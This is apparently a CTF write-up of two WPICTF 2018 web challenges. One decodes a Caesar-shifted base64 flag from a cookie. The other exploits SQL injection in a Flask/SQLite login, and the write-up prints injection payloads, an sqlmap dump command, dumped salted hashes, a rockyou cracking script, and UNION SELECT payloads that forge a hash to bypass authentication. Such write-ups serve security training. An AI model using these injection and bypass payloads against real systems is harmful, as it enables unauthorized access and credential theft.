Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : WPICTF 2018
- Website : wpictf.xyz
- Type : Online
- Format : Jeopardy
- CTF Time : link
150 - Dance - Web#
by binam
TL;DR: intercepting proxy, base64 flag
cookie, Caesar bruteforce
The URL is using a HTTP 302 to redirect us to Rick Astley - Never Gonna Give You Up youtube video.
Making the request with Burp Suite Repeater,
GET / HTTP/1.1
Host: dance.wpictf.xyz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1
we obtain the following result:
HTTP/1.1 302 FOUND
Server: nginx/1.13.12
Date: Sun, 15 Apr 2018 09:50:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 309
Connection: close
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
Set-Cookie: Julius C.="got good dance moves."; Path=/
Strict-Transport-Security: max-age=31536000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>. If not click the link.
The value of the flag
cookie is a base64 string but gives us nothing when we decode it.
The second cookie Julius C.
let us think this is about the Caesar
cipher.
By doing a Caesar bruteforce, we can get the following base64 string with a +17 shift: V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
.
Here was my ruby script to do some case sensitive Caesar bruteforce:
#!/usr/bin/env ruby
# from https://gist.github.com/matugm/db363c7131e6af27716c
def caesar_cipher(string, shift = 1)
# lowercase
alphabet_low = Array('a'..'z')
encrypter_low = Hash[alphabet_low.zip(alphabet_low.rotate(shift))]
# " " => c because I don't want to void non-letters chars
first_pass = string.chars.map { |c| encrypter_low.fetch(c, c) }.join
# uppercase
alphabet_up = Array('A'..'Z')
encrypter_up = Hash[alphabet_up.zip(alphabet_up.rotate(shift))]
second_pass = first_pass.chars.map { |c| encrypter_up.fetch(c, c) }.join
end
text = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx="
(1..25).each do |i|
puts "#{i}: " + caesar_cipher(text, i) + "\n"
end
Then, we can decode the flag:
$ printf %s 'V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=' | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
200 - Vault - Web#
by GODeva
In the source of index.html
we can read the following HTML comment:
<!-- Welcome to the the Fuller Vault
- clients/clients.db stores authentication info with the following schema:
CREATE TABLE clients (
id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
clientname VARCHAR(255),
hash VARCHAR(255),
salt VARCHAR(255)
); -->
So I guess that we need to find a SQL injection to dump the database.
By inserting a single quote in the clientname
field of the form we get an error:
File /home/vault/vault/secretvault.py
, line 58, in login
connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))
pointer = connection.cursor()
search = """SELECT id, hash, salt FROM clients
WHERE clientname = '{0}' LIMIT 1""".format(clientname)
pointer.execute(search)
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
So now we know there is a Python backend running Flask and we know the SQL query used.
This payload Goutham' OR '1'='1-- -
confirms the SQL injection and this one Goutham' AND 1=randomblob(1000000000)-- -
confirms it again.
So I read the SQLmap wiki to build a useful SQLmap command:
$ sqlmap -u https://vault.wpictf.xyz/login --method=POST --data='clientname=Goutham&password=b' -p clientname --dbms SQLite --random-agent -T clients -C clientname,hash,salt --dump --risk 3
So we obtain the following data from the database:
- clientname:
Gaines
- hash:
ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b
- id:
1
- salt:
leoczve
- clientname:
Goutham
- hash:
6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738
- id:
2
- salt:
nepdrqs
- clientname:
Binam
- hash:
49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
- id:
3
- salt:
cseerlb
The hash used seems to be SHA-256:
$ hashid 49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7
Analyzing '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
I tried to bruteforce them with my ruby script:
#!/usr/bin/env ruby
require 'digest'
usermap = {
1 => {
clientname: 'Gaines',
hash: 'ae6b2b347fd948b39a126e71decfc1cc411925a1ddc9f995949517d983fb027b',
salt: 'leoczve'
},
2 => {
clientname: 'Goutham',
hash: '6bad0bd9907898e3c7d6b2139241ac7591a4556b2f9fbc41ed15a31e6d2df738',
salt: 'nepdrqs'
},
3 => {
clientname: 'Binam',
hash: '49d790f22b2248638bf56f8a573c8e95eac2ed2f63a8f8eef97972d1b2d77bb7',
salt: 'cseerlb'
}
}
usermap.each do |id, client|
File.readlines('/home/noraj/CTF/tools/dict/rockyou.txt').each do |pass|
if Digest::SHA2.new(256).hexdigest(pass.chomp + client[:salt]) == client[:hash]
puts "#{value}, #{pass}"
elsif Digest::SHA2.new(256).hexdigest(client[:salt] + pass.chomp) == client[:hash]
puts "#{value}, #{pass}"
end
end
end
But I didn't get anything.
An admin gave me a hint: The goal is to trick the database when checking for a hash.
.
And they said on the Discord channel that bruteforce is not needed.
Note : I did this part after the end of the CTF.
Ok let's think this time before using force.
We know there is 3 columns in the query so let's try this: invalid' UNION SELECT 1,1,1-- -
.
We get an useful error again:
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
calculatedHash = hashlib.sha256(password + salt)
if calculatedHash.hexdigest() != hash:
return "Invalid password for {0}!\n".format(clientname)
flask.session['userID'] = userID
return flask.redirect('/')
As we can't break Goutham's password we may use UNION
to provide another row with the hash we want, using a comment --
will allow us to bypass LIMIT 1
.
This way we will be able to provide arbitrary stuff in order to trick hashlib.sha256(password + salt)
.
Knowing the database and the hashing scheme we can compute a new hash and force the server to use it:
$ printf %s%s 'rawsec' 'nepdrqs' | sha256sum
9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a
- clientname:
invalid' UNION SELECT "2", "9c1e78c30e9721805b44701a05476086312741b6114334e3c312b87da7f95e4a", "nepdrqs"--
- password:
rawsec
Without knowing the database content but knowing the hash scheme is easy too, we can pick the id from the database and also overwrite the salt:
$ printf %s%s 'rawsec' 'noraj' | sha256sum
4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e
- clientname:
invalid' UNION SELECT id, "4541356add1076a04e4a340b7cb573c9533fc025b0b9af7be0203af216eaa13e", "noraj" FROM clients WHERE clientname = "Goutham"--
- password:
rawsec
But for those who didn't discovered the hash scheme with the second error message it is also possible to provide a void string so prefix or suffix salt will have the same behavior:
$ printf %s%s 'rawsec' '' | sha256sum
fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1
- clientname:
invalid' UNION SELECT id, "fc924c26cc88170d40d708e7eaf654b6dc6d1fb8b17bea1510eca639511833a1", "" FROM clients WHERE clientname = "Goutham"--
- password:
rawsec
Why Goutham? Because the comment on the page suggests it.
So we get the flag: Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
.